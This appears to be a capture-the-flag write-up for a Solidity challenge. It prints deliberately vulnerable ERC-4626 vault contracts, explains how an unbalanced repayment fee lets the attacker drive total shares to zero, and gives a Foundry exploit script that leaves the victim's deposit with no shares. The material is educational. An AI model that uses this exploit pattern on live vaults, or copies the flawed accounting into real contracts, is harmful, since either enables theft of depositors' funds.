Writeup for SignIn
Challenge Description
In the world of digital currencies, every transaction holds secrets, and every vault has its own story…
Author: zeroc
The Challenge
The below are source contracts
- Setup contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.20;
3
4import {Vault} from "./Vault.sol";
5import {LING} from "./LING.sol";
6
7contract Setup {
8 Vault public vault;
9 LING public ling;
10 bool public claimed;
11 bool public solved;
12 constructor() {
13 ling = new LING(1000 ether);
14 vault = new Vault(ling);
15 }
16
17 function claim() external {
18 if (claimed) {
19 revert("Already claimed");
20 }
21 claimed = true;
22 ling.transfer(msg.sender, 1 ether);
23 }
24
25 function solve() external {
26 ling.approve(address(vault), 999 ether);
27 vault.deposit(999 ether, address(this));
28 if (vault.balanceOf(address(this)) >= 500 ether) {
29 revert("Challenge not solved yet");
30 }
31 solved = true;
32 }
33
34 function isSolved() public view returns (bool) {
35 return solved;
36 }
37}
- LING contract
1//SPDX-License-Identifier:MIT
2pragma solidity ^0.8.0;
3
4import {ERC20} from "@signin/openzeppelin/contracts/token/ERC20/ERC20.sol";
5
6contract LING is ERC20 {
7 constructor(uint256 _initialSupply) ERC20("LING", "LING") {
8 _mint(msg.sender, _initialSupply);
9 }
10}
- Vault contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.20;
3
4import {ERC20} from "@signin/openzeppelin/contracts/token/ERC20/ERC20.sol";
5import {Ownable} from "@signin/openzeppelin/contracts/access/Ownable.sol";
6import {IERC4626} from "@signin/openzeppelin/contracts/interfaces/IERC4626.sol";
7import {LING} from "./LING.sol";
8
9contract Vault is Ownable, IERC4626, ERC20("LING VAULT", "vLING") {
10 struct VaultAccount {
11 uint256 amount;
12 uint256 shares;
13 }
14
15 VaultAccount public totalAsset;
16 LING ling;
17 mapping(address => uint256) public borrowedAssets;
18 uint256 public totalBorrowedAssets;
19
20 constructor(LING _ling) Ownable(msg.sender) {
21 ling = _ling;
22 }
23
24 function asset() external view returns (address assetTokenAddress) {
25 assetTokenAddress = address(ling);
26 }
27
28 function totalAssets() public view returns (uint256 totalManagedAssets) {
29 totalManagedAssets = totalAsset.amount - totalBorrowedAssets;
30 }
31
32 function convertToShares(
33 uint256 assets
34 ) public view returns (uint256 shares) {
35 if (totalAsset.amount == 0) {
36 shares = assets;
37 } else {
38 shares = (assets * totalAsset.shares) / totalAsset.amount;
39 }
40 }
41
42 function convertToAssets(
43 uint256 shares
44 ) public view returns (uint256 assets) {
45 if (totalAsset.shares == 0) {
46 assets = shares;
47 } else {
48 assets = (shares * totalAsset.amount) / totalAsset.shares;
49 }
50 }
51
52 function maxDeposit(
53 address /* receiver */
54 ) public pure returns (uint256 maxAssets) {
55 return type(uint256).max;
56 }
57
58 function previewDeposit(
59 uint256 assets
60 ) external view returns (uint256 shares) {
61 shares = convertToShares(assets);
62 }
63
64 function deposit(
65 uint256 assets,
66 address receiver
67 ) external returns (uint256) {
68 if (assets == 0) {
69 revert("zero assets");
70 }
71 uint256 shares = convertToShares(assets);
72
73 totalAsset.amount += assets;
74 totalAsset.shares += shares;
75 ling.transferFrom(msg.sender, address(this), assets);
76 _mint(receiver, shares);
77
78 emit Deposit(msg.sender, receiver, assets, shares);
79 return shares;
80 }
81
82 function maxMint(
83 address /* receiver */
84 ) external pure returns (uint256 maxShares) {
85 return type(uint256).max;
86 }
87
88 function previewMint(
89 uint256 shares
90 ) external view returns (uint256 assets) {
91 assets = convertToAssets(shares);
92 }
93
94 function mint(
95 uint256 shares,
96 address receiver
97 ) external returns (uint256 assets) {
98 if (shares == 0) {
99 revert("zero shares");
100 }
101 assets = convertToAssets(shares);
102
103 totalAsset.amount += assets;
104 totalAsset.shares += shares;
105 ling.transferFrom(msg.sender, address(this), assets);
106 _mint(receiver, shares);
107
108 emit Deposit(msg.sender, receiver, assets, shares);
109 return assets;
110 }
111
112 function maxWithdraw(
113 address owner
114 ) external view returns (uint256 maxAssets) {
115 uint256 shares = balanceOf(owner);
116 maxAssets = convertToAssets(shares);
117 }
118
119 function previewWithdraw(
120 uint256 assets
121 ) external view returns (uint256 shares) {
122 shares = convertToShares(assets);
123 }
124
125 function withdraw(
126 uint256 assets,
127 address receiver,
128 address owner
129 ) external returns (uint256 shares) {
130 if (assets == 0) {
131 revert("zero assets");
132 }
133 shares = convertToShares(assets);
134 if (shares > balanceOf(owner)) {
135 revert("insufficient shares");
136 }
137
138 if (msg.sender != owner) {
139 uint256 allowed = allowance(owner, msg.sender);
140 if (allowed < shares) {
141 revert("insufficient allowance");
142 }
143 _approve(owner, msg.sender, allowed - shares);
144 }
145
146 _burn(owner, shares);
147 totalAsset.amount -= assets;
148 totalAsset.shares -= shares;
149 ling.transfer(receiver, assets);
150
151 emit Withdraw(msg.sender, receiver, owner, assets, shares);
152 return shares;
153 }
154
155 function maxRedeem(
156 address owner
157 ) external view returns (uint256 maxShares) {
158 return balanceOf(owner);
159 }
160
161 function previewRedeem(
162 uint256 shares
163 ) external view returns (uint256 assets) {
164 assets = convertToAssets(shares);
165 }
166
167 function redeem(
168 uint256 shares,
169 address receiver,
170 address owner
171 ) external returns (uint256 assets) {
172 if (shares > balanceOf(owner)) {
173 revert("insufficient shares");
174 }
175 assets = convertToAssets(shares);
176
177 if (msg.sender != owner) {
178 uint256 allowed = allowance(owner, msg.sender);
179 if (allowed < shares) {
180 revert("insufficient allowance");
181 }
182 _approve(owner, msg.sender, allowed - shares);
183 }
184
185 _burn(owner, shares);
186 totalAsset.amount -= assets;
187 totalAsset.shares -= shares;
188 ling.transfer(receiver, assets);
189
190 emit Withdraw(msg.sender, receiver, owner, assets, shares);
191 return assets;
192 }
193
194 function borrowAssets(uint256 amount) external {
195 if (amount == 0) {
196 revert("zero amount");
197 }
198 if (amount > totalAssets()) {
199 revert("insufficient balance");
200 }
201 borrowedAssets[msg.sender] += amount;
202 totalBorrowedAssets += amount;
203 ling.transfer(msg.sender, amount);
204 }
205
206 function repayAssets(uint256 amount) external {
207 if (amount == 0) {
208 revert("zero amount");
209 }
210 if (borrowedAssets[msg.sender] < amount) {
211 revert("invalid amount");
212 }
213 uint256 fee = (amount * 1) / 100;
214 borrowedAssets[msg.sender] -= amount;
215 totalBorrowedAssets -= amount;
216 totalAsset.amount += fee;
217 ling.transferFrom(msg.sender, address(this), amount + fee);
218 }
219}
1 function solve() external {
2 ling.approve(address(vault), 999 ether);
3 vault.deposit(999 ether, address(this));
4 if (vault.balanceOf(address(this)) >= 500 ether) {
5 revert("Challenge not solved yet");
6 }
7 solved = true;
8 }
Our goal is to make the Setup::isSolved function return true. This function returns true if the solved variable is set to true. We can set solved to true by calling Setup::solve. The Setup::solve function attempts to deposit 999e18 LING tokens into the vault. If, during this deposit, the number of shares received by the Setup contract is less than 500 ether, the solved variable will be set to true.
By looking at this, we can understand that the challenge is related to a vault inflation attack. If you’re unfamiliar with vault inflation attacks, I recommend reading Mixbytes blog post. If you’re not familiar with ERC-4626 vaults, I suggest checking out Rareskills blog post.
The Exploit
1 function deposit(
2 uint256 assets,
3 address receiver
4 ) external returns (uint256) {
5 if (assets == 0) {
6 revert("zero assets");
7 }
8 uint256 shares = convertToShares(assets);
9
10 totalAsset.amount += assets;
11 totalAsset.shares += shares;
12 ling.transferFrom(msg.sender, address(this), assets);
13 _mint(receiver, shares);
14
15 emit Deposit(msg.sender, receiver, assets, shares);
16 return shares;
17 }
The above function is from the Vault contract. When the Setup::solve function calls Vault::deposit, the number of shares the Setup contract receives is determined by the Vault::convertToShares function.
Now, let’s take a look at Vault::convertToShares.
1
2 function convertToShares(
3 uint256 assets
4 ) public view returns (uint256 shares) {
5 if (totalAsset.amount == 0) {
6 shares = assets;
7 } else {
8 shares = (assets * totalAsset.shares) / totalAsset.amount;
9 }
10 }
The Vault::convertToShares function logic looks correct. It uses a struct named totalAsset, which is an instance of VaultAccount. This struct has two members: amount and shares.
amountrepresents the total assets deposited into the vault.sharesis the total number of shares minted for those assets. Since the contract uses this struct to track deposits, we cannot manipulate the vault through direct donations.According to the formula, depositing 999 ether will result in less than 500 shares only if:totalAsset.amount > 0andtotalAsset.amount > 999 ether, ortotalAsset.amount > 0andtotalAsset.shares == 0.
However, we can’t make totalAsset.amount > 999 ether because we only have 1e18 LING tokens available. So, our only option is to make totalAsset.shares == 0. But this won’t happen just by depositing and redeeming shares — because that always updates both amount and shares. For this to work, there must be some function in the contract that increases totalAsset.amount without updating totalAsset.shares — meaning it calculates the amount incorrectly.
If we look closely, we can see that the Vault also supports lending, and when someone borrows, they have to pay a fee. The following functions are related to the lending logic:
1 function borrowAssets(uint256 amount) external {
2 if (amount == 0) {
3 revert("zero amount");
4 }
5 if (amount > totalAssets()) {
6 revert("insufficient balance");
7 }
8 borrowedAssets[msg.sender] += amount;
9 totalBorrowedAssets += amount;
10 ling.transfer(msg.sender, amount);
11 }
12
13 function repayAssets(uint256 amount) external {
14 if (amount == 0) {
15 revert("zero amount");
16 }
17 if (borrowedAssets[msg.sender] < amount) {
18 revert("invalid amount");
19 }
20 uint256 fee = (amount * 1) / 100;
21 borrowedAssets[msg.sender] -= amount;
22 totalBorrowedAssets -= amount;
23 totalAsset.amount += fee;
24 ling.transferFrom(msg.sender, address(this), amount + fee);
25 }
Our goal is to update only the totalAsset.amount without changing totalAsset.shares, and the Vault::repayAssets function allows us to do exactly that. When someone borrows and repays their debt, they pay an extra 1% fee, which is added directly to totalAsset.amount.
To exploit this, we start by depositing a small amount, like 1000 wei LING, then borrow 1000 wei LING, and redeem our 1000 shares to get back the 1000 tokens. This action reduces totalAsset.shares to zero. Next, when we repay the borrowed 1000 LING plus the 1% fee (totaling 1010 wei), the totalAsset.amount increases to 1010 while totalAsset.shares stays at zero.
Now, when someone calls Vault::deposit, the shares they receive are calculated as (assets * totalAsset.shares) / totalAsset.amount. Since totalAsset.shares is zero, the result is zero shares. So, when the Setup contract deposits 999e18 LING, it receives zero shares, which is less than 500 ether, and the solved flag is set to true.
However, there is a catch. We only deposited 1000 wei LING, but we are trying to withdraw 2000 wei LING — 1000 by borrowing and 1000 by redeeming shares. Borrowing works fine, but when redeeming, the vault won’t have enough tokens to transfer back, causing an error. To fix this, we need to donate some LING tokens directly to the vault contract to ensure it has enough balance for redemption.
The below is the exploit script:
1//SPDX-License-Identifier:MIT
2pragma solidity ^0.8.20;
3
4import {Script, console} from "forge-std/Script.sol";
5import {Setup,Vault,LING} from "src/signin/Setup.sol";
6
7contract Solve is Script {
8 function run() public {
9 vm.startBroadcast();
10 Setup setup = Setup(address(0xdd154d7ff043F9DDb8029D888208fE780cC8D9b1));
11 Vault vault=setup.vault();
12 LING ling=setup.ling();
13 setup.claim();
14 ling.approve(address(vault),1000);
15 vault.deposit(1000, msg.sender);
16 vault.borrowAssets(1000);
17 ling.transfer(address(vault),1000);
18 vault.redeem(1000, msg.sender, msg.sender);
19 ling.approve(address(vault),1010);
20 vault.repayAssets(1000);
21 setup.solve();
22 console.log(setup.isSolved());
23 vm.stopBroadcast();
24 }
25}
Note
If you want to try this challenge locally, clone the challenges repository and follow the setup guide. This setup is available only for 2025 challenge solutions. If you face any issues feel free to reach out on discord :)
***Hope you enjoyed this write-up. Keep on hacking and learning!***
Comments